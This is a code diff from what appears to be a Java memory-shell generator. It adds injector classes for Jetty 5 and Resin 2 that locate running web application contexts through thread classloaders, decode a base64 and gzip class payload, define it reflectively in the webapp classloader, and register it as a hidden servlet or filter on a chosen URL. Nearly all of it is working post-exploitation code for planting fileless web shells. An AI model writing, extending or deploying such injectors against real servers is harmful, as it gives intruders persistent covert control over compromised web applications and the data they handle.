|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
public class Jetty5ServletInjector {
|
||||
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public Jetty5ServletInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath");
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public void inject(Object context, Object servlet) throws Exception {
|
||||
Object servletHandler = getWebApplicationHandler(context);
|
||||
|
||||
if (invokeMethod(servletHandler, "getServletHolder", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
return;
|
||||
}
|
||||
|
||||
invokeMethod(
|
||||
servletHandler,
|
||||
"addServlet",
|
||||
new Class[]{String.class, String.class, String.class},
|
||||
new Object[]{getClassName(), getUrlPattern(), getClassName()});
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
/**
|
||||
* org.mortbay.jetty.servlet.WebApplicationContext
|
||||
*/
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
||||
String name = contextClassLoader.getClass().getName();
|
||||
if (name.endsWith("ContextLoader")) {
|
||||
contexts.add(getFieldValue(contextClassLoader, "_context"));
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
public Object getWebApplicationHandler(Object context) throws Exception {
|
||||
try {
|
||||
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
|
||||
if (webApplicationHandler != null) {
|
||||
return webApplicationHandler;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
try {
|
||||
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
|
||||
if (webApplicationHandler != null) {
|
||||
return webApplicationHandler;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return getFieldValue(context, "_servletHandler");
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (NoSuchMethodException e) {
|
||||
throw e;
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+270
@@ -0,0 +1,270 @@
|
||||
package com.reajason.javaweb.memshell.injector.resin2;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
public class Resin2FilterInjector {
|
||||
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public Resin2FilterInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
addContextFromClassLoader(contexts, Thread.currentThread().getContextClassLoader());
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
addContextFromClassLoader(contexts, thread.getContextClassLoader());
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private void addContextFromClassLoader(Set<Object> contexts, ClassLoader classLoader) {
|
||||
Object context = getApplicationFromClassLoader(classLoader);
|
||||
if (context != null) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
|
||||
private Object getApplicationFromClassLoader(ClassLoader classLoader) {
|
||||
while (classLoader != null) {
|
||||
try {
|
||||
Object context = invokeMethod(classLoader, "getAttribute", new Class[]{String.class}, new Object[]{"caucho.application"});
|
||||
if (context != null && "com.caucho.server.http.Application".equals(context.getClass().getName())) {
|
||||
return context;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
classLoader = classLoader.getParent();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
private void inject(Object context, Object filter) throws Exception {
|
||||
Map<String, Object> filters = (Map) getFieldValue(context, "_filters");
|
||||
for (String key : filters.keySet()) {
|
||||
if (key.contains(getClassName())) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
ClassLoader loader = context.getClass().getClassLoader();
|
||||
Class<?> applicationClass = loader.loadClass("com.caucho.server.http.Application");
|
||||
Class<?> qFilterConfigClass = loader.loadClass("com.caucho.server.http.QFilterConfig");
|
||||
Class<?> registryNodeClass = loader.loadClass("com.caucho.util.RegistryNode");
|
||||
Object filterConfig = newInstance(
|
||||
qFilterConfigClass,
|
||||
new Class[]{applicationClass, String.class, String.class, registryNodeClass},
|
||||
new Object[]{context, getClassName(), getClassName(), null});
|
||||
filters.put(getClassName(), filterConfig);
|
||||
|
||||
List filterList = (List) getFieldValue(context, "_filterList");
|
||||
if (filterList != null && !filterList.contains(filterConfig)) {
|
||||
filterList.add(filterConfig);
|
||||
}
|
||||
|
||||
Class<?> filterMapClass = loader.loadClass("com.caucho.server.http.FilterMap");
|
||||
Object filterMap = newInstance(filterMapClass, new Class[0], new Object[0]);
|
||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class, String.class}, new Object[]{getUrlPattern(), ""});
|
||||
invokeMethod(filterMap, "setData", new Class[]{Object.class}, new Object[]{filterConfig});
|
||||
|
||||
List filterMaps = (List) getFieldValue(context, "_filterMap");
|
||||
synchronized (filterMaps) {
|
||||
filterMaps.add(0, filterMap);
|
||||
}
|
||||
invokeMethod(context, "clearCache", null, null);
|
||||
}
|
||||
|
||||
private static Object newInstance(Class<?> clazz, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Constructor<?> constructor = clazz.getDeclaredConstructor(paramClazz);
|
||||
constructor.setAccessible(true);
|
||||
return constructor.newInstance(param);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+248
@@ -0,0 +1,248 @@
|
||||
package com.reajason.javaweb.memshell.injector.resin2;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
public class Resin2ServletInjector {
|
||||
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public Resin2ServletInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
addContextFromClassLoader(contexts, Thread.currentThread().getContextClassLoader());
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
addContextFromClassLoader(contexts, thread.getContextClassLoader());
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private void addContextFromClassLoader(Set<Object> contexts, ClassLoader classLoader) {
|
||||
Object context = getApplicationFromClassLoader(classLoader);
|
||||
if (context != null) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
|
||||
private Object getApplicationFromClassLoader(ClassLoader classLoader) {
|
||||
while (classLoader != null) {
|
||||
try {
|
||||
Object context = invokeMethod(classLoader, "getAttribute", new Class[]{String.class}, new Object[]{"caucho.application"});
|
||||
if (context != null && "com.caucho.server.http.Application".equals(context.getClass().getName())) {
|
||||
return context;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
classLoader = classLoader.getParent();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
private void inject(Object context, Object servlet) throws Exception {
|
||||
Map<String, Object> servlets = (Map) getFieldValue(context, "_servlets");
|
||||
for (String key : servlets.keySet()) {
|
||||
if (key.contains(getClassName())) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
Object servletConfig = invokeMethod(
|
||||
context,
|
||||
"addServlet",
|
||||
new Class[]{String.class, String.class},
|
||||
new Object[]{getClassName(), getClassName()});
|
||||
Class<?> servletConfigClass = context.getClass().getClassLoader().loadClass("com.caucho.server.http.QServletConfig");
|
||||
invokeMethod(
|
||||
context,
|
||||
"addDispatchMap",
|
||||
new Class[]{String.class, servletConfigClass},
|
||||
new Object[]{getUrlPattern(), servletConfig});
|
||||
invokeMethod(context, "clearCache", null, null);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.injector.jetty.Jetty5FilterInjector;
|
||||
import com.reajason.javaweb.memshell.injector.jetty.Jetty5ListenerInjector;
|
||||
import com.reajason.javaweb.memshell.injector.jetty.Jetty5ServletInjector;
|
||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
public class Jetty5 extends AbstractServer {
|
||||
|
||||
public static class ListenerInterceptor {
|
||||
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
|
||||
try {
|
||||
response = ShellCommonUtil.getFieldValue(request, "_servletHttpResponse");
|
||||
} catch (Exception ignored) {
|
||||
try {
|
||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_request"), "_servletHttpResponse");
|
||||
} catch (Exception ignored2) {
|
||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "_servletHttpResponse");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public Class<?> getListenerInterceptor() {
|
||||
return ListenerInterceptor.class;
|
||||
}
|
||||
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(LISTENER, Jetty5ListenerInjector.class)
|
||||
.addInjector(FILTER, Jetty5FilterInjector.class)
|
||||
.addInjector(SERVLET, Jetty5ServletInjector.class)
|
||||
.build();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.injector.resin2.Resin2FilterInjector;
|
||||
import com.reajason.javaweb.memshell.injector.resin2.Resin2ServletInjector;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.FILTER;
|
||||
import static com.reajason.javaweb.memshell.ShellType.SERVLET;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
public class Resin2 extends AbstractServer {
|
||||
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(FILTER, Resin2FilterInjector.class)
|
||||
.addInjector(SERVLET, Resin2ServletInjector.class)
|
||||
.build();
|
||||
}
|
||||
}
|
||||
+44
-23
@@ -52,9 +52,9 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
||||
.name(probeConfig.getShellClassName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(probeConfig.getTargetJreVersion()))
|
||||
.visit(Advice.withCustomMapping()
|
||||
.bind(ValueAnnotation.class, probeContentConfig.getCommandTemplate())
|
||||
.to(runnerClass)
|
||||
.on(named("run")));
|
||||
.bind(ValueAnnotation.class, probeContentConfig.getCommandTemplate())
|
||||
.to(runnerClass)
|
||||
.on(named("run")));
|
||||
String base64Bytes = probeContentConfig.getBase64Bytes();
|
||||
if (StringUtils.isNotBlank(base64Bytes)) {
|
||||
builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(base64Bytes));
|
||||
@@ -86,6 +86,7 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
